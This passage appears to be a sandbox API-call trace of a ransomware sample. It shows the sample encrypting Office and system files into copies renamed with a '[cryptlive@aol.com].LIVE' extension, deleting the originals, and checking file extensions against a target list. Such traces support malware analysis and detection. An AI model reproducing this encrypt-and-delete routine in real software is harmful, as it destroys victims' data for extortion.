returned 1 [0059.878] WriteFile (in: hFile=0x214, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0x44790, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0x44790, lpOverlapped=0x0) returned 1 [0059.883] ReadFile (in: hFile=0x15c, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.883] WriteFile (in: hFile=0x214, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.883] SetEndOfFile (hFile=0x214) returned 1 [0059.884] CloseHandle (hObject=0x214) returned 1 [0059.884] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.884] SetEndOfFile (hFile=0x15c) returned 1 [0059.887] CloseHandle (hObject=0x15c) returned 1 [0059.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0059.887] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt")) returned 1 [0059.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0059.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0059.888] lstrlenW (lpString=".doc") returned 4 [0059.888] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0059.888] lstrlenW (lpString=".docx") returned 5 [0059.888] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0059.888] lstrlenW (lpString=".pdf") returned 4 [0059.888] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0059.888] lstrlenW (lpString=".xls") returned 4 [0059.888] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0059.888] lstrlenW (lpString=".xlsx") returned 5 [0059.888] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0059.888] lstrlenW (lpString=".ppt") returned 4 [0059.888] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0059.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0059.888] lstrlenW (lpString=".zip") returned 4 [0059.888] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0059.888] lstrlenW (lpString=".rar") returned 4 [0059.888] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0059.888] lstrlenW (lpString=".bz2") returned 4 [0059.888] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0059.888] lstrlenW (lpString=".7z") returned 3 [0059.888] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0059.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0059.888] lstrlenW (lpString=".dbf") returned 4 [0059.888] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0059.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0059.888] lstrlenW (lpString=".1cd") returned 4 [0059.888] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0059.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0059.888] lstrlenW (lpString=".jpg") returned 4 [0059.888] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0059.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0059.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0059.888] lstrlenW (lpString=".doc") returned 4 [0059.888] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0059.889] lstrlenW (lpString=".docx") returned 5 [0059.889] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0059.889] lstrlenW (lpString=".pdf") returned 4 [0059.889] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0059.889] lstrlenW (lpString=".xls") returned 4 [0059.889] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0059.889] lstrlenW (lpString=".xlsx") returned 5 [0059.889] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0059.889] lstrlenW (lpString=".ppt") returned 4 [0059.889] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0059.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0059.889] lstrlenW (lpString=".zip") returned 4 [0059.889] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0059.889] lstrlenW (lpString=".rar") returned 4 [0059.889] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0059.889] lstrlenW (lpString=".bz2") returned 4 [0059.889] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0059.889] lstrlenW (lpString=".7z") returned 3 [0059.889] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0059.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0059.889] lstrlenW (lpString=".dbf") returned 4 [0059.889] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0059.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0059.889] lstrlenW (lpString=".1cd") returned 4 [0059.889] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0059.889] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT") returned 67 [0059.889] lstrlenW (lpString=".jpg") returned 4 [0059.889] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0059.889] lstrcmpiW (lpString1=".dll", lpString2=".LIVE") returned -1 [0059.889] lstrlenW (lpString="hxds.dll") returned 8 [0059.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.891] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1257984) returned 1 [0059.891] CloseHandle (hObject=0x15c) returned 1 [0059.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 0x20 [0059.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0059.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0059.891] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.891] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0059.891] GetLastError () returned 0x0 [0059.891] ReadFile (in: hFile=0x15c, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0060.011] WriteFile (in: hFile=0x214, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0061.911] ReadFile (in: hFile=0x15c, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0x33210, lpOverlapped=0x0) returned 1 [0061.922] WriteFile (in: hFile=0x214, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0x33220, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0x33220, lpOverlapped=0x0) returned 1 [0061.928] ReadFile (in: hFile=0x15c, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.928] WriteFile (in: hFile=0x214, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0061.928] SetEndOfFile (hFile=0x214) returned 1 [0062.503] CloseHandle (hObject=0x214) returned 1 [0062.504] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.504] SetEndOfFile (hFile=0x15c) returned 1 [0062.506] CloseHandle (hObject=0x15c) returned 1 [0062.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0062.506] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 1 [0062.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0062.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0062.661] lstrlenW (lpString=".doc") returned 4 [0062.661] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0062.661] lstrlenW (lpString=".docx") returned 5 [0062.661] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0062.661] lstrlenW (lpString=".pdf") returned 4 [0062.661] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0062.661] lstrlenW (lpString=".xls") returned 4 [0062.661] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0062.661] lstrlenW (lpString=".xlsx") returned 5 [0062.661] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0062.661] lstrlenW (lpString=".ppt") returned 4 [0062.661] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0062.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0062.661] lstrlenW (lpString=".zip") returned 4 [0062.661] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0062.661] lstrlenW (lpString=".rar") returned 4 [0062.661] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0062.661] lstrlenW (lpString=".bz2") returned 4 [0062.661] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0062.661] lstrlenW (lpString=".7z") returned 3 [0062.661] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0062.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0062.661] lstrlenW (lpString=".dbf") returned 4 [0062.661] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0062.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0062.661] lstrlenW (lpString=".1cd") returned 4 [0062.661] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0062.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0062.661] lstrlenW (lpString=".jpg") returned 4 [0062.661] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0062.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0062.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0062.662] lstrlenW (lpString=".doc") returned 4 [0062.662] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0062.662] lstrlenW (lpString=".docx") returned 5 [0062.662] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0062.662] lstrlenW (lpString=".pdf") returned 4 [0062.662] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0062.662] lstrlenW (lpString=".xls") returned 4 [0062.662] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0062.662] lstrlenW (lpString=".xlsx") returned 5 [0062.662] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0062.662] lstrlenW (lpString=".ppt") returned 4 [0062.662] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0062.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0062.662] lstrlenW (lpString=".zip") returned 4 [0062.662] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0062.662] lstrlenW (lpString=".rar") returned 4 [0062.662] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0062.662] lstrlenW (lpString=".bz2") returned 4 [0062.662] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0062.662] lstrlenW (lpString=".7z") returned 3 [0062.662] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0062.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0062.662] lstrlenW (lpString=".dbf") returned 4 [0062.662] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0062.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0062.662] lstrlenW (lpString=".1cd") returned 4 [0062.662] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0062.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0062.662] lstrlenW (lpString=".jpg") returned 4 [0062.662] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0062.663] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0062.663] lstrlenW (lpString="InkObj.dll.mui") returned 14 [0062.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0062.681] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4608) returned 1 [0062.681] CloseHandle (hObject=0x1e4) returned 1 [0062.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0062.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0062.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0062.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0062.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0062.681] lstrlenW (lpString=".doc") returned 4 [0062.681] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0062.681] lstrlenW (lpString=".docx") returned 5 [0062.681] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0062.681] lstrlenW (lpString=".pdf") returned 4 [0062.681] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0062.681] lstrlenW (lpString=".xls") returned 4 [0062.681] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0062.681] lstrlenW (lpString=".xlsx") returned 5 [0062.681] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0062.681] lstrlenW (lpString=".ppt") returned 4 [0062.681] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0062.681] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0062.681] lstrlenW (lpString=".zip") returned 4 [0062.681] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0062.681] lstrlenW (lpString=".rar") returned 4 [0062.681] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0062.681] lstrlenW (lpString=".bz2") returned 4 [0062.681] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0062.682] lstrlenW (lpString=".7z") returned 3 [0062.682] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0062.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0062.682] lstrlenW (lpString=".dbf") returned 4 [0062.682] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0062.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0062.682] lstrlenW (lpString=".1cd") returned 4 [0062.682] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0062.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0062.682] lstrlenW (lpString=".jpg") returned 4 [0062.682] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0062.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0062.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0062.682] lstrlenW (lpString=".doc") returned 4 [0062.682] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0062.682] lstrlenW (lpString=".docx") returned 5 [0062.682] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0062.682] lstrlenW (lpString=".pdf") returned 4 [0062.682] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0062.682] lstrlenW (lpString=".xls") returned 4 [0062.682] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0062.682] lstrlenW (lpString=".xlsx") returned 5 [0062.682] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0062.682] lstrlenW (lpString=".ppt") returned 4 [0062.682] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0062.682] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0062.682] lstrlenW (lpString=".zip") returned 4 [0062.682] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0062.682] lstrlenW (lpString=".rar") returned 4 [0062.682] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0062.682] lstrlenW (lpString=".bz2") returned 4 [0062.683] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0062.683] lstrlenW (lpString=".7z") returned 3 [0062.683] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0062.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0062.683] lstrlenW (lpString=".dbf") returned 4 [0062.683] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0062.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0062.683] lstrlenW (lpString=".1cd") returned 4 [0062.683] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0062.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkObj.dll.mui") returned 71 [0062.683] lstrlenW (lpString=".jpg") returned 4 [0062.683] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0062.683] lstrcmpiW (lpString1=".mui", lpString2=".LIVE") returned 1 [0062.683] lstrlenW (lpString="InkWatson.exe.mui") returned 17 [0062.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InkWatson.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkwatson.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 15 os_tid = 0x5e0 [0036.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x37506a0 [0036.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10000) returned 0x37606a8 [0036.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570648 [0036.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x6) returned 0x573388 [0036.218] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570660 [0036.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100000) returned 0x3b30020 [0036.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570678 [0036.219] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570678, Size=0x20) returned 0x555df0 [0036.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x570678 [0036.219] RtlReAllocateHeap (Heap=0x520000, Flags=0x0, Ptr=0x570678, Size=0x20) returned 0x555dc8 [0036.219] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0036.219] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0036.219] Wow64DisableWow64FsRedirection (in: OldValue=0x314ff58 | out: OldValue=0x314ff58*=0x0) returned 1 [0036.219] lstrlenW (lpString="kernel32.dll") returned 12 [0036.219] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555df0 | out: hHeap=0x520000) returned 1 [0036.219] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.219] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555dc8 | out: hHeap=0x520000) returned 1 [0036.219] Sleep (dwMilliseconds=0x64) [0036.338] Sleep (dwMilliseconds=0x64) [0036.823] Sleep (dwMilliseconds=0x64) [0036.974] Sleep (dwMilliseconds=0x64) [0037.110] Sleep (dwMilliseconds=0x64) [0037.325] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.325] lstrlenW (lpString="Setup.xml") returned 9 [0037.325] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.510] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2296) returned 1 [0037.510] CloseHandle (hObject=0x17c) returned 1 [0037.510] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.510] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.510] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.511] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.511] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.511] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0037.511] GetLastError () returned 0x0 [0037.511] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0037.526] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x900, lpOverlapped=0x0) returned 1 [0037.527] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.527] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, 